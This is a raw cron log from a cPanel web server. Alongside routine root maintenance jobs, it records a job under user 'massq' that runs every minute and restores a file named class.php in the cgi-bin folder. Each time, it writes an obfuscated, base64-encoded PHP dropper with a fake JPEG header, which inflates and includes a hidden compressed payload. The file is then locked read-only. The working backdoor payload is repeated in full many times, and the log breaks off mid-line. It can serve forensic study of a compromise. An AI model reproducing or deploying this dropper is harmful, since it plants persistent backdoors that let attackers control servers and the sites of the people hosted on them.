Apr 11 01:35:01 server CROND[31908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:35:01 server CROND[31910]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 01:35:01 server CROND[31911]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:35:01 server CROND[31912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:35:01 server CROND[31913]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 01:36:01 server CROND[32033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:37:01 server CROND[32082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:38:01 server CROND[32137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:39:01 server CROND[32304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:39:01 server CROND[32305]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 01:40:01 server CROND[32364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:40:01 server CROND[32366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:40:01 server CROND[32365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 01:40:01 server CROND[32367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:41:01 server CROND[32482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:42:01 server CROND[32537]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 01:42:01 server CROND[32538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:43:01 server CROND[32594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:44:01 server CROND[32644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:45:01 server CROND[355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:45:01 server CROND[356]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 01:45:01 server CROND[357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 01:46:01 server CROND[466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:47:01 server CROND[527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 01:48:01 server CROND[578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0